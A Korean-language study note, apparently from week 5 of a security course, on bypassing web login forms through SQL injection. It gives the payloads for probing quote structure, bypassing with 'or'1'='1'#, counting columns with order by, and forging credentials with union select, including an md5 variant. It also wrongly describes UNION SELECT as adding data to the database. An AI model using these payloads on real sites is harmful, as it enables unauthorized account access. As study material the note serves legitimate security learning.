로그인 우회 로직(특수문자 기입가능하다는 가정)
-'and'1'='1 넣어서 sql문안에 다른 특수문자 확인
SELECT ???(컬럼) FROM ???(테이블) WHERE ???(컬럼)=''(데이터)
위와 같은 문장이 완성된다.
ex)
WHERE id = '' <- 되어있으면 통과
WHERE id = ('') <-되어있으면 실패
알 수 있는것 WHERE id 컬럼 =' ' <- 부분이
1.'일수도
2.')일수도
있다.
SELECT ??? FROM ??? WHERE ???(id)=''#and pw='' 이 방식은 아이디 뒤에 '#을 넣음으로써 뒤에 모든 문장을 주석으로 만들어
작동하지 않게 만든 것이다.
-> 이 로그인 페이지는 인증 식별 분리 형태이거나 개행구문으로 만들어졌을 가능성이 높다.
'or'1'='1를 활용하여 확인하기'or'1'='1' --도 가능 -> 성공하면 식별인증 동시'or'1'='1'#도 가능 -> 성공하면 식별인증 동시SELECT ??? FROM ??? WHERE ???(id)='doldol'
or '1'='1'and pw='1'
로 sql구문이 구성 되었을 가능성이 높다고 생각 한다.
이 방식이 가능한 이유는 sql구문의 우선 순위는 NOT > AND > OR이기 때문에 뒤에 pw구문부터 실행된다.
이때 '1'='1'은 True 그러나 pw는 Fail <- 아무 글자써서
그래서 결론은 Fail이 나오지만
앞에 id가 DB에 있는 id이라서 True
전체적으로 True (or때문) -> 로그인 성공
-> 인증과 식별이 분리되었을 가능성이 높다.
union select을 활용한다.
union select은 데이터베이스에 데이터를 추가하는 것이다.
사용하기 전에 무조건 컬럼의 수를 알아야한다.
컬럼의 수를 알기 위해서는 (아이디(abc) 비밀번호(123) 알고 있다는 가정)
id: abc' order by n# <- n에 숫자입력
pw: 123
n에 숫자를 1, 2, 3,... 계속 늘려본다.
error가 발생하면 그전까지 컬럼이 존재하는 것이다.
보통 order by [칼럼이름][정렬방식]이 온다. <- 정렬방식은 생략가능
여기서 칼럼이름에 숫자를 넣어도 적용되어
이 부분으로 칼럼 숫자를 파악하는 것이다.
위에 데이터 베이스라는 가정
id: ' union select '1','1'#(모든 칼럼 글 통일)
pw: 1(id에 적었던 비밀번호 칼럼에 있는 비밀번호)
모든 칼럼 글을 ex) '1' ->'a' 통일해야함
왜냐하면 칼럼의 순서를 모르기 때문이다.
ex) union select 적용예시 (첫번째 컬럼은 id 두번쨰는 pw)
id: ' union select 'aa','bb'#(모든 칼럼 글 통일)
pw: bb(id에 적었던 비밀번호 칼럼에 있는 비밀번호)

ex) 위에서는 id pw 순서지만 반대로 pw id 일 가능성이 있다.
-> 반대라면 ' union select 'aa','bb'#에서는 aa가 비밀번호 bb가 아이디가 된다.
만약 칼럼이 여러개라면 패스워드 고정하고 아래와 같이 시도해야한다.
' union select 'aa','1','1'#
' union select '1','aa','1'#
' union select '1','1','aa'#
md5 경우
id: ' union select 'aa', md5('bb')#
pw: bb(id에 적었던 비밀번호 칼럼에 있는 비밀번호)
이때 md5에는 ''를 붙이지 않는다.
normaltic study 5주차